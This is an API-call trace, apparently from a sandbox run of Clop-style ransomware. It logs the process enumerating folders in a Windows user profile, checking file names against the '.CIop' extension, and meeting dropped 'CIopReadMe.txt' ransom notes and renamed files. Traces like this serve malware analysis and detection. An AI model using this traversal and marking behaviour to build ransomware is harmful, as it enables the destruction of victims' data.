[0118.040] SetErrorMode (uMode=0x1) returned 0x1 [0118.040] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0118.040] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" [0118.040] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" [0118.040] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*" [0118.040] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.040] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="Recent" [0118.041] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0118.041] lstrlenW (lpString=".CIop") returned 5 [0118.041] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.041] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.041] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.041] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0118.041] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*" [0118.041] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.041] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="Recent" [0118.041] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0118.041] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.041] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.041] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.041] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.041] lstrcmpW (lpString1="Saved Games", lpString2="..") returned 1 [0118.041] lstrcmpW (lpString1="Saved Games", lpString2=".") returned 1 [0118.041] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0118.041] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0118.041] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0118.041] SetErrorMode (uMode=0x1) returned 0x1 [0118.041] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0118.041] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" [0118.041] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" [0118.041] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*" [0118.041] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.041] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="Saved Games" [0118.041] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0118.041] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.041] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.041] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.041] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.041] lstrlenW (lpString="desktop.ini") returned 11 [0118.041] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.041] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.041] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.042] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0118.042] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*" [0118.042] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.042] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="Saved Games" [0118.042] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0118.042] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.042] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.042] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.042] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.042] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.042] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.042] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.042] lstrcmpW (lpString1="Searches", lpString2="..") returned 1 [0118.042] lstrcmpW (lpString1="Searches", lpString2=".") returned 1 [0118.042] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0118.042] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0118.042] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0118.042] SetErrorMode (uMode=0x1) returned 0x1 [0118.042] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0118.042] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0118.042] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0118.042] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*" [0118.042] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.042] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="Searches" [0118.042] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0118.042] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.042] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.042] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.043] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.043] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.043] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.043] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.043] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.043] lstrlenW (lpString="desktop.ini") returned 11 [0118.043] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.043] lstrcmpW (lpString1="Everywhere.search-ms.CIop", lpString2="..") returned 1 [0118.043] lstrcmpW (lpString1="Everywhere.search-ms.CIop", lpString2=".") returned 1 [0118.043] lstrlenW (lpString=".CIop") returned 5 [0118.043] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.043] lstrcmpW (lpString1="Indexed Locations.search-ms.CIop", lpString2="..") returned 1 [0118.043] lstrcmpW (lpString1="Indexed Locations.search-ms.CIop", lpString2=".") returned 1 [0118.043] lstrlenW (lpString=".CIop") returned 5 [0118.043] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.043] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.043] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.043] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0118.043] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*" [0118.043] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.043] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="Searches" [0118.043] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0118.043] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.043] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.043] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.043] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.043] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.043] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.043] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.043] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.043] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.047] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.047] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0118.048] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0118.048] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0118.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0118.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0118.048] SetErrorMode (uMode=0x1) returned 0x1 [0118.048] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0118.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" [0118.048] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" [0118.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*" [0118.048] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.048] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="SendTo" [0118.048] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0118.048] lstrlenW (lpString=".CIop") returned 5 [0118.048] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.048] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.048] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.048] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0118.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*" [0118.048] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.048] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="SendTo" [0118.048] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0118.048] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.048] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.048] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.048] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.048] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0118.048] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0118.048] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0118.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0118.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0118.048] SetErrorMode (uMode=0x1) returned 0x1 [0118.048] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0118.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" [0118.048] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" [0118.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*" [0118.049] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.049] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="Start Menu" [0118.049] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0118.049] lstrlenW (lpString=".CIop") returned 5 [0118.049] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.049] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.049] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.049] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0118.049] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*" [0118.049] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.049] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="Start Menu" [0118.049] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0118.049] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.049] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.049] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.049] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.049] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0118.049] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0118.049] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0118.049] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0118.049] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0118.049] SetErrorMode (uMode=0x1) returned 0x1 [0118.049] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0118.049] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" [0118.049] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" [0118.049] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*" [0118.049] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.049] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="Templates" [0118.049] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0118.049] lstrlenW (lpString=".CIop") returned 5 [0118.049] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.049] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.049] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.049] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0118.049] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*" [0118.049] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.050] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="Templates" [0118.050] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0118.050] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.050] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.050] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.050] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.050] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0118.050] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0118.050] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0118.050] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0118.050] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0118.050] SetErrorMode (uMode=0x1) returned 0x1 [0118.050] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0118.050] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0118.050] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0118.050] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*" [0118.050] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.050] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="Videos" [0118.050] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0118.050] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.050] FindNextFileW 